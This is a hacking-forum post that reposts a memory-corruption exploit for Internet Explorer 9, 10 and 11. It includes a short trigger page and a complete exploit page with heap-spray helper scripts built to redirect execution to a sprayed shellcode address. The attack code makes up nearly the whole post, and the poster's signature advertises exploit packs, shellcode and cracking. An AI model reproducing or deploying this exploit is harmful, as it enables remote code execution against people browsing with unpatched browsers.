Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Microsoft Internet Explorer Memory Corruption Exploit filter_list
Author
Message
Microsoft Internet Explorer Memory Corruption Exploit #1
This crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9 & 10 & 11 A pointer set up to point to certain data on the stack can be used after that data has been removed from the stack.

This results in a stack-based analog to a heap use-after-free vulnerability. The stack memory where the data was stored can be modified by an attacker before it is used, allowing remote code execution.

Known affected software and attack vectors

Microsoft Internet Explorer 9/10/11

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Repro.html:

<!doctype html>
<script>
var o­Window = window.open("about:blank");
o­Window.exec­Script('window.o­URIError = new URIError();o­URIError.name = o­URIError;')
try { "" + o­Window.o­URIError; } catch(e) { }
try { "" + o­Window.o­URIError; } catch(e) { }
</script>



Code:
Coderz : AVI / Reaktor / ChemSec Greetz - Sinister.ly Jabber - Reaktor@siph0n.pw <!doctype html> <script src="String.js"></script> <script src="spray­Heap.js"></script> <script> function stack­Overflow­High­On­Stack() { stack­Overflow­High­On­Stack.apply(0, new Array(0x2000)); } function attack(p­Target) { var ax­Args = []; while (ax­Args.length < 0x200) ax­Args.push((p­Target - 0x69C) >>> 1); exception­Low­On­Stack­With­Spray(); function exception­Low­On­Stack­With­Spray() { try { (function(){}).apply(0, ax­Args); } catch (e) { throw 0; } exception­Low­On­Stack­With­Spray.apply(0, ax­Args); } } var p­Spray­Start­Address = 0x09000000; var d­Heap­Spray­Template = {}; var p­Target = 0x28000201; var p­Shellcode = 0x28000300; d­Heap­Spray­Template[p­Target] = p­Shellcode; d­Heap­Spray­Template[p­Shellcode] = 0x­CCCCCCCC; window.s­Heap­Spray­Block = create­Spray­Block(d­Heap­Spray­Template); window.u­Heap­Spray­Block­Count = get­Spray­Block­Count(d­Heap­Spray­Template, p­Spray­Start­Address); var o­Window = window.open("about:blank"); function prepare() { window.as­Heap­Spray = new Array(opener.u­Heap­Spray­Block­Count); for (var i = 0; i < opener.u­Heap­Spray­Block­Count; i++) { as­Heap­Spray[i] = (opener.s­Heap­Spray­Block + "A").substr(0, opener.s­Heap­Spray­Block.length); } } o­Window.eval("(" + prepare + ")();"); try { String(o­Window.eval("({to­String:" + stack­Overflow­High­On­Stack + "})")); } catch(e) { o­Window.eval("(" + attack + ")(" + p­Target + ")"); } </script> <!-- String.js: String.from­Word = function (w­Value) { // Return a BSTR that contains the desired DWORD in its string data. return String.from­Char­Code(w­Value); } String.from­Words = function (aw­Values) { // Return a BSTR that contains the desired DWORD in its string data. return String.from­Char­Code.apply(0, aw­Values); } String.from­DWord = function (dw­Value) { // Return a BSTR that contains the desired DWORD in its string data. return String.from­Char­Code(dw­Value & 0x­FFFF, dw­Value >>> 16); } String.from­DWords = function (au­Values) { var as­DWords = new Array(au­Values.length); for (var i = 0; i < au­Values.length; i++) { as­DWords[i] = String.from­DWord(au­Values[i]); } return as­DWords.join(""); } String.prototype.repeat = function (u­Count) { // Return the requested number of concatenated copies of the string. var s­Repeated­String = "", u­Left­Most­Bit = 1 << (Math.ceil(Math.log(u­Count + 1) / Math.log(2)) - 1); for (var u­Bit = u­Left­Most­Bit; u­Bit > 0; u­Bit = u­Bit >>> 1) { s­Repeated­String += s­Repeated­String; if (u­Count & u­Bit) s­Repeated­String += this; } return s­Repeated­String; } String.create­Buffer = function(u­Size, u­Index­Size) { // Create a BSTR of the right size to be used as a buffer of the requested size, taking into account the 4 byte // "length" header and 2 byte "\0" footer. The optional argument u­Index­Size can be 1, 2, 4 or 8, at which point the // buffer will be filled with indices of said size (this is slower but useful for debugging). if (!u­Index­Size) return "\u­DEAD".repeat(u­Size / 2 - 3); var au­Buffer­Char­Codes = new Array((u­Size - 4) / 2 - 1); var u­MSB = u­Index­Size == 8 ? 8 : 4; // Most significant byte. for (var u­Char­Index = 0, u­Byte­Index = 4; u­Char­Index < au­Buffer­Char­Codes.length; u­Char­Index++, u­Byte­Index +=2) { if (u­Index­Size == 1) { au­Buffer­Char­Codes[u­Char­Index] = u­Byte­Index + ((u­Byte­Index + 1) << 8); } else { // Set high bits to prevents both NULLs and valid pointers to userland addresses. au­Buffer­Char­Codes[u­Char­Index] = 0x­F000 + (u­Byte­Index % u­Index­Size == 0 ? u­Byte­Index & 0x­FFF : 0); } } return String.from­Char­Code.apply([][0], au­Buffer­Char­Codes); } String.prototype.clone = function () { // Create a copy of a BSTR in memory. s­String = this.substr(0, this.length); s­String.length; return s­String; } String.prototype.replace­DWord = function (u­Byte­Offset, dw­Value) { // Return a copy of a string with the given dword value stored at the given offset. // u­Offset can be a value beyond the end of the string, in which case it will "wrap". return this.replace­Word(u­Byte­Offset, dw­Value & 0x­FFFF).replace­Word(u­Byte­Offset + 2, dw­Value >> 16); } String.prototype.replace­Word = function (u­Byte­Offset, w­Value) { // Return a copy of a string with the given word value stored at the given offset. // u­Offset can be a value beyond the end of the string, in which case it will "wrap". if (u­Byte­Offset & 1) { return this.replace­Byte(u­Byte­Offset, w­Value & 0x­FF).replace­Byte(u­Byte­Offset + 1, w­Value >> 8); } else { var u­Char­Index = (u­Byte­Offset >>> 1) % this.length; return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1); } } String.prototype.replace­Byte = function (u­Byte­Offset, b­Value) { // Return a copy of a string with the given byte value stored at the given offset. // u­Offset can be a value beyond the end of the string, in which case it will "wrap". var u­Char­Index = (u­Byte­Offset >>> 1) % this.length, w­Value = this.char­Code­At(u­Char­Index); if (u­Byte­Offset & 1) { w­Value = (w­Value & 0x­FF) + ((b­Value & 0x­FF) << 8); } else { w­Value = (w­Value & 0x­FF00) + (b­Value & 0x­FF); } return this.substr(0, u­Char­Index) + String.from­Word(w­Value) + this.substr(u­Char­Index + 1); } String.prototype.replace­Buffer­DWord = function (u­Byte­Offset, u­Value) { // Return a copy of a BSTR with the given dword value store at the given offset. if (u­Byte­Offset & 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") must be Word aligned"); if (u­Byte­Offset < 4) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR size dword."); var u­Char­Index = u­Byte­Offset / 2 - 2; if (u­Char­Index == this.length - 1) throw new Error("u­Byte­Offset (" + u­Byte­Offset.to­String(16) + ") overlaps BSTR terminating NULL."); return this.substr(0, u­Char­Index) + String.from­DWord(u­Value) + this.substr(u­Char­Index + 2); } spray­Heap.js: console = window.console || {"log": function(){}}; function bad(p­Address) { // convert a valid 32-bit pointer to an invalid one that is easy to convert // back. Useful for debugging: use a bad pointer, get an AV whenever it is // used, then fix pointer and continue with exception handled to have see what // happens next. return 0x80000000 + p­Address; } function blanket(d­Spray_­dw­Value_­p­Address, p­Address) { // Can be used to store values that indicate offsets somewhere in the heap // spray. Useful for debugging: blanket region, get an AV at an address // that indicates where the pointer came from. Does not overwrite addresses // at which data is already stored. for (var u­Offset = 0; u­Offset < 0x40; u­Offset += 4) { if (!((p­Address + u­Offset) in d­Spray_­dw­Value_­p­Address)) { d­Spray_­dw­Value_­p­Address[p­Address + u­Offset] = bad(((p­Address & 0x­FFF) << 16) + u­Offset); } } } var gu­Spray­Block­Size = 0x02000000; // how much fragmentation do you want? var gu­Spray­Page­Size = 0x00001000; // block alignment. // Different versions of MSIE have different heap header sizes: var s­JSVersion; try{ /*@cc_­on @*/ s­JSVersion = eval("@_jscript_­version"); } catch(e) { s­JSVersion = "unknown" }; var gu­Heap­Header­Size = { "5.8": 0x24, "9": 0x10, // MSIE9 "unknown": 0x10 }[s­JSVersion]; // includes BSTR length var gu­Heap­Footer­Size = 0x04; if (!gu­Heap­Header­Size) throw new Error("Unknown script version " + s­JSVersion); function create­Spray­Block(d­Spray_­dw­Value_­p­Address) { // Create a spray "page" and store spray data at the right offset. var s­Spray­Page = "\u­DEAD".repeat(gu­Spray­Page­Size >> 1); for (var p­Address in d­Spray_­dw­Value_­p­Address) { s­Spray­Page = s­Spray­Page.replace­DWord(p­Address % gu­Spray­Page­Size, d­Spray_­dw­Value_­p­Address[p­Address]); } // Create a spray "block" by concatinated copies of the spray "page", taking into account the header and footer // used by MSIE for larger heap allocations. var u­Spray­Pages­Per­Block = Math.ceil(gu­Spray­Block­Size / gu­Spray­Page­Size); var s­Spray­Block = ( s­Spray­Page.substr(gu­Heap­Header­Size >> 1) + s­Spray­Page.repeat(u­Spray­Pages­Per­Block - 2) + s­Spray­Page.substr(0, s­Spray­Page.length - (gu­Heap­Footer­Size >> 1)) ); var u­Actual­Spray­Block­Size = gu­Heap­Header­Size + s­Spray­Block.length * 2 + gu­Heap­Footer­Size; if (u­Actual­Spray­Block­Size != gu­Spray­Block­Size) throw new Error("Assertion failed: spray block (" + u­Actual­Spray­Block­Size.to­String(16) + ") should be " + gu­Spray­Block­Size.to­String(16) + "."); console.log("create­Spray­Block():"); console.log(" s­Spray­Page.length: " + s­Spray­Page.length.to­String(16)); console.log(" u­Spray­Pages­Per­Block: " + u­Spray­Pages­Per­Block.to­String(16)); console.log(" s­Spray­Block.length: " + s­Spray­Block.length.to­String(16)); return s­Spray­Block; } function get­Heap­Block­Index­For­Address(p­Address) { return ((p­Address % gu­Spray­Page­Size) - gu­Heap­Header­Size) >> 1; } function get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address) { p­Start­Address = p­Start­Address || 0; var p­Target­Address = 0x0; for (var p­Address in d­Spray_­dw­Value_­p­Address) { p­Target­Address = Math.max(p­Target­Address, p­Address); } u­Spray­Blocks­Count = Math.ceil((p­Target­Address - p­Start­Address) / gu­Spray­Block­Size); console.log("get­Spray­Block­Count():"); console.log(" p­Target­Address: " + p­Target­Address.to­String(16)); console.log(" u­Spray­Blocks­Count: " + u­Spray­Blocks­Count.to­String(16)); return u­Spray­Blocks­Count; } function spray­Heap(d­Spray_­dw­Value_­p­Address, p­Start­Address) { var u­Spray­Blocks­Count = get­Spray­Block­Count(d­Spray_­dw­Value_­p­Address, p­Start­Address); // Spray the heap by making copies of the spray "block". var as­Spray = new Array(u­Spray­Blocks­Count); as­Spray[0] = create­Spray­Block(d­Spray_­dw­Value_­p­Address); for (var u­Index = 1; u­Index < as­Spray.length; u­Index++) { as­Spray[u­Index] = as­Spray[0].clone(); } return as­Spray; }
A wizard is never late, Nor is he early, He arrives precisely when he means to....
Exploits Packs, Exploits, Shellcode, Cracking, Reverse... Need it.. just ask.

Reply